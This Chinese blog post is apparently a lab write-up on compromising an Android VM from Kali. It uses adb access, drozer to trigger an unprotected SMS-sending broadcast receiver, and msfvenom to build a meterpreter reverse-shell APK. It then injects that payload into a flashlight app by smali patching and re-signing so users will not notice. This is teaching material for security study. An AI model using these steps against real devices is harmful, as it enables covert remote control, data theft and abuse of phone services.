美文网首页
Android shell 劫持实验 (Kali虚拟机, Adb

Android shell 劫持实验 (Kali虚拟机, Adb

作者: 简单也好 | 来源:发表于2019-06-06 22:21 被阅读0次

    这个实验的主要内容是通过kaliVM进行各种操作控制 Android 设备的尝试。

    1.实验设置 工具下载

    需要的工具和下载链接

    Virtualbox,虚拟机软件,也可使用vamware等其他: https://www.virtualbox.org/wiki/Downloads
    KaliVM,一个基于 Debian 的 Linux 发行版,主要用来进行安全审计,渗透测试等活动,囊括了大多数开源安全测试工具:https://images.offensive-security.com/virtual-images/kali-linux-2018.4-vbox-amd64.ova
    Android x86 5.1 RC1 VM,安卓虚拟机: https://sourceforge.net/projects/osboxes/files/v/vb/1-A-d/5.1/A-rc-1.7z/download

    网络设置

    networksetting.png

    2. 安卓设备发现和adb访问

    使用Kali VM。 扫描10.0.0/*网段以查看有哪些设备,这里Android虚拟机的ip是10.0.0.4。
    扫描网络命令:namp 10.0.0.*/24

    nmap.png

    使用adb连接到Android x86 VM。 如果未安装,使用apt-get安装。
    Adb的全称为Android Debug Bridge:android调试桥梁,Android的初衷是用adb这样的一个工具来协助开发人员在开发android应用的过程中更快更好的调试apk。但也可以被用来非法访问他人的Android设备。
    Adb参考链接(很烦这些转载不贴原链接的):https://blog.csdn.net/zhonglunshun/article/details/78362439

    adb.png 通过adb链接到安卓虚拟机后,就可以浏览安卓的文件了

    浏览所有安装包:pm list packages
    卸载应用程序notepad:pm uninstall --user 0 com.example.android.notepad

    还可以查看不同应用程序的sqlite数据库,这里安装了一个ES File Explorer,查看他的数据库可以看到安卓设备中的文件信息:


    es1.png

    使用sql查看一下不同文件的数量


    es2.png

    3. AndroidManifest.xml文件获取与解析

    AndroidManifest.xml是Android应用程序中非常重要的一部分,所有应用程序的组件(活动,服务,内容提供者和广播接收者)都在此文件中定义。

    使用Kali VM,获取Android设备的并找到YouTube应用程序的安装位置。 找到它的apk文件并在本地下载。
    apk文件只是一个包含所有必要文件的存档,以便Android操作系统理解和执行应用程序。 解压缩并查看AndroidManifest.xml文件的内容。

    通过adb链接我们获取了Android的shell,找到YouTube的目录,找到YouTube.apk并通过adb下载下来。
    浏览YouTube目录: ls system/app/YouTube/
    通过adb下载apk命令: adb pull system/app/YouTube/YouTube.apk

    解压浏览apk的内容,找到AndroidManifest.xml文件
    解压命令:unzip YouTube.apk

    unzipapk.png

    4. 修改apk包 调用短信接口

    Drozer是MWR Labs开发的一款Android安全测试框架。可以用它分析app的漏洞
    参考链接
    安装 https://www.jianshu.com/p/4ef5b26dd3fb
    使用 https://www.jianshu.com/p/dfa92bab3a55

    我们找到一个简单的app,FourGoats,通过Drozer去分析漏洞


    rundrozer.png
    runCheck.png

    查看broadcast receivers,发现这个接口没有权限要求

    seeInfo.png

    尝试调用这个接口,程序崩溃,因为我们发送给receiver的请求没有正确对应的参数


    runSMS.png

    通过jadx查看FourGoats的源代码,我们找到了正确的参数,添加参数,重新调用命令。


    javacode.png

    命令: run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber "1234567" --extra string message "test message"
    成功发送短信

    success.png

    5. 构建恶意app获取shell链接

    英文的参考链接:Lab: Hacking an Android Device with MSFvenom

    1.使用msfconsole监听端口

    Msfconsole提供了一个一体化的集中控制台。通过msfconsole,你可以访问和使用所有的metasploit的插件,payload,利用模块,post模块等等。参考链接 https://blog.csdn.net/whatday/article/details/82913621

    启动msfconsole:msfconsole -qx “use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set ExitOnSession false; exploit –j –z”
    也可以分开输入:

    msfconsole -q
    set payload android/meterpreter/reverse_tcp
    set LHOST 0.0.0.0
    set ExitOnSession false
    run
    

    打开监听


    start.png

    2.使用msfvenom生成恶意payload

    MSFvenom是Msfpayload和Msfencode的组合,可以傻瓜式地生成各种后门程序(或一部分恶意代码payload)
    参考链接 https://www.offensive-security.com/metasploit-unleashed/msfvenom/

    打开新的终端窗口中,我们将使用msfvenom生成一个简单的apk文件。 使用相同的(“android / meterpreter / reverse tcp”)以连接到正在侦听端口4444的Kali VM。将此应用命名为FunnyCatClips.apk。
    msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o FunnyCatClips.apk
    使用adb,在Android VM上安装此应用程序并将其打开。
    adb install FunnyCatClips.apk

    生成恶意apk
    命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o FunnyCatClips.apk

    使用adb安装在安卓设备上
    命令:adb install FunnyCatClips.apk

    在安卓设备上打开这个安卓的apk,我们监听的msfconsole控制台就能够链接到安卓设备的shell。

    app在Android 上打开后,kali的控制台获得安卓设备的shell


    ![start.png](https://img.haomeiwen.com/i1819486/b3915b3504027d15.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

    3. 给正常app加入恶意payload

    但是用户不会傻到安装一个如此可疑的app,所以我们需要找到一个正常的apk,将我们的恶意payload添加进去。
    Msfvenom可以将Meterpreter的payload与另一个APK文件绑定,就可以在正常apk中加入payload。

    这里有两种方法:

    方法一:
    msfvenom直接给apk加入payload
    命令:msfvenom -x xxxx.apk -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o output.apk

    方法二:
    将正常的app反编译后加入payload的smali文件,重新编译并签名。

    我们找到一个简单的app,手电筒flashlight,尝试将payload加入其中,并重新打包签名

    1. 使用msfvenom生成payload : output.apk

    命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o output.apk

    2. 使用apktool工具(kali自带,如果没有,需要安装)将output.apk和flashlight.apk反编译

    apktool反编译命令:apktool d –f –o flash com.fulminesoftware.flashlightlite.apk
    kali上的apktool有些问题,这里我使用了mac上的apktool

    apktool
    3. 复制生成的payload中的com/metasploit/stage到反编译后的flashlight文件夹

    output.apk的smali文件


    stage.png

    复制到flash反编译后的对应位置


    stage2.png
    4. 打开AndroidManifest.xml文件,通过MAIN 和 LAUNCHER找到程序运行的启动文件
    A.png

    可以看到启动文件是FlashlightLite1280ActivityWelcom.
    修改smali文件FlashlightLite1280ActivityWelcom
    在此smali文件中在→onCreate(Landroid/os/Bundle;)V这行下面
    加入如下代码,大概的意思是会在启动时运行我们复制进去的payload
    invoke-static {p0},Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

    FlashlightLite1280ActivityWelcom.smali文件:


    smali.png
    5 .修改 AndroidManifest.xml 中的权限

    我们可能使用app原本没有要求的权限,根据需要进行添加


    AM.png
    6 .编译修改好的apk

    命令: apktool b -f flash

    com.png

    将编译好的包复制到kaliVM进行下一步签名操作

    7 .签名并安装apk

    创建keystore秘钥对
    命令: keytool –genkey –v –keystore newkeys -alias mykey -keyalg RSA -validity 1000

    gk.png

    使用jarsigner签名apk
    命令: jarsigner -verbose -keystore newkey/mykey.keystore -signedjar xxx.apk mac\ apk com.ff.apk whkey

    s.png
    8. 使用adb安装签名好的apk,测试结果

    打开Android设备上的flashlight


    open.png

    msfconsole监听端口成功获得了shell连接
    输入pwd看看当前路径


    end.png

    总结

    基本是按部就班的操作,但整个过程涉及的工具比较多,会有一些细节上的问题,静心思考,一步步解决即可。

    对于Android用户,不要轻易下载来历不明的apk进行安装即可。
    不过这个还是有难度,难免会去下载。
    任何一个app得到权限就可以访问整个手机的数据,相比iOS的沙盒模式,确实没有那么安全。

    哦还有,Don't be evil. 虽然Google已经摒弃这个。

    相关文章

      网友评论

          本文标题:Android shell 劫持实验 (Kali虚拟机, Adb

          本文链接:https://www.haomeiwen.com/subject/eysuxctx.html